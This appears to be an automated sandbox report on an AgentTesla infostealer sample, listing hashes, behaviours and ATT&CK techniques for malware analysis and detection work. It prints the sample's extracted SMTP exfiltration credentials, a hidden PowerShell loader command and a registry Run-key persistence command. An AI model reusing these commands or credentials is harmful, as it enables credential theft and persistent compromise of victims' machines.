agenttesla | 86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe

General

Target

PI_230524.exe
Size

531KB
MD5

fe3bcba4cdc4ae741ee54de500496669
SHA1

e27ac7c118efb35b85abf8dc4300a6291737dea2
SHA256

86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe
SHA512

d337947fcb86f48b30e676b105c584811723dacf16ce3af4cdac70607a239d9b5aaf93b0abd54754cc7801cac7a86fd7da293655d0dcfa4de32147df75ae9ff8
SSDEEP

6144:+Y8i9d6ihOq761Mymf40IoBdLlNZ4DYvP+TV5lKiecmMlGvtClbUpEjoltWucv:8K6+L761MymflCYX+EixjlGHu8ltWuq

Score

10^/10

agenttesla execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.showpiece.trillennium.biz
Port:
587
Username:
[email protected]
Password:
]2p65r?5jH32
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

344 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exeAwner.exe

pid process

344 powershell.exe
1300 Awner.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\\Altsaxofonists\\').Folkesocialisternes;%Straaets% ($masooka)"	reg.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

8 api.ipify.org
9 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

Awner.exe

pid process

1300 Awner.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeAwner.exe

pid process

344 powershell.exe
1300 Awner.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 344 set thread context of 1300 344 powershell.exe Awner.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
8	api.ipify.org
9	api.ipify.org

pid	process
1300	Awner.exe

description	pid	process	target process
PID 344 set thread context of 1300	344	powershell.exe	Awner.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\Awner.exe	nsis_installer_1
\Users\Admin\AppData\Local\Temp\Awner.exe	nsis_installer_2

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1292 reg.exe

pid	process
1292	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Awner.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Awner.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Awner.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exeAwner.exe

pid	process
344	powershell.exe
344	powershell.exe
344	powershell.exe
344	powershell.exe
344	powershell.exe
344	powershell.exe
344	powershell.exe
344	powershell.exe
1300	Awner.exe
1300	Awner.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

344 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeAwner.exe

description pid process

Token: SeDebugPrivilege 344 powershell.exe
Token: SeDebugPrivilege 1300 Awner.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Awner.exe

pid process

1300 Awner.exe

description	pid	process
Token: SeDebugPrivilege	344	powershell.exe
Token: SeDebugPrivilege	1300	Awner.exe

pid	process
1300	Awner.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

PI_230524.exepowershell.exeAwner.execmd.exe

description	pid	process	target process
PID 2408 wrote to memory of 344	2408	PI_230524.exe	powershell.exe
PID 2408 wrote to memory of 344	2408	PI_230524.exe	powershell.exe
PID 2408 wrote to memory of 344	2408	PI_230524.exe	powershell.exe
PID 2408 wrote to memory of 344	2408	PI_230524.exe	powershell.exe
PID 344 wrote to memory of 2840	344	powershell.exe	cmd.exe
PID 344 wrote to memory of 2840	344	powershell.exe	cmd.exe
PID 344 wrote to memory of 2840	344	powershell.exe	cmd.exe
PID 344 wrote to memory of 2840	344	powershell.exe	cmd.exe
PID 344 wrote to memory of 1300	344	powershell.exe	Awner.exe
PID 344 wrote to memory of 1300	344	powershell.exe	Awner.exe
PID 344 wrote to memory of 1300	344	powershell.exe	Awner.exe
PID 344 wrote to memory of 1300	344	powershell.exe	Awner.exe
PID 344 wrote to memory of 1300	344	powershell.exe	Awner.exe
PID 344 wrote to memory of 1300	344	powershell.exe	Awner.exe
PID 1300 wrote to memory of 1676	1300	Awner.exe	cmd.exe
PID 1300 wrote to memory of 1676	1300	Awner.exe	cmd.exe
PID 1300 wrote to memory of 1676	1300	Awner.exe	cmd.exe
PID 1300 wrote to memory of 1676	1300	Awner.exe	cmd.exe
PID 1676 wrote to memory of 1292	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1292	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1292	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1292	1676	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\PI_230524.exe
"C:\Users\Admin\AppData\Local\Temp\PI_230524.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Treholdsskiftet=Get-Content 'C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Strapper\Swallowling.Pre';$Skiameter=$Treholdsskiftet.SubString(55621,3);.$Skiameter($Treholdsskiftet)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:344

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
3⤵
PID:2840

C:\Users\Admin\AppData\Local\Temp\Awner.exe
"C:\Users\Admin\AppData\Local\Temp\Awner.exe"
3⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\Altsaxofonists\').Folkesocialisternes;%Straaets% ($masooka)"
4⤵
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\Altsaxofonists\').Folkesocialisternes;%Straaets% ($masooka)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:1292

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

3

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Unsecured Credentials

4

T1552

Credentials In Files

3

T1552.001

Credentials in Registry

1

T1552.002

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

4

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Delfiteknikkens.Gri
Filesize
297KB

MD5
6ea9e79b54b8a56cec498b93e929ece2

SHA1
9481a950ed835695cbb46c6ca48a524f295d4fd2

SHA256
30d6aa82f35ba4d346c05e6b6e825201641cf484c4ab8f343a18c32388d53931

SHA512
468da5be68dfc29c6a1f53fed2ca8f3671f129a16af5291138d4aff384dba6e7ae8b3bb9e32ee73063d85c370d5f5253a53f2a1e1951320d1cc7eabff8ca358e

Download Submit
C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Strapper\Swallowling.Pre
Filesize
54KB

MD5
22252e2ecc5fad588b2a1855271240d7

SHA1
16e3f7b4f36b0804f372e9dc199748eced0be25c

SHA256
d82ec244a3f9172ac6eb88f87b46147b085b1ef3cd0b1787cb7029f5eeef74c0

SHA512
98ca2f227d5e8e32a098f8c98c432f1693617196ca3dfd81404ff247a8e8254c631cc291965b0a8fb724798c98bc4dc65963d23c81ebbbd7762acb391b4361a0

Download Submit
\Users\Admin\AppData\Local\Temp\Awner.exe
Filesize
531KB

MD5
fe3bcba4cdc4ae741ee54de500496669

SHA1
e27ac7c118efb35b85abf8dc4300a6291737dea2

SHA256
86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe

SHA512
d337947fcb86f48b30e676b105c584811723dacf16ce3af4cdac70607a239d9b5aaf93b0abd54754cc7801cac7a86fd7da293655d0dcfa4de32147df75ae9ff8

Download Submit
memory/344-19-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/344-23-0x0000000006540000-0x00000000080FD000-memory.dmp

Filesize
27.7MB

Download
memory/344-41-0x0000000002740000-0x0000000002780000-memory.dmp

Filesize
256KB

Download
memory/1300-40-0x00000000007E0000-0x0000000001842000-memory.dmp

Filesize
16.4MB

Download
memory/1300-42-0x00000000007E0000-0x0000000001842000-memory.dmp

Filesize
16.4MB

Download
memory/1300-44-0x00000000007E0000-0x0000000000820000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads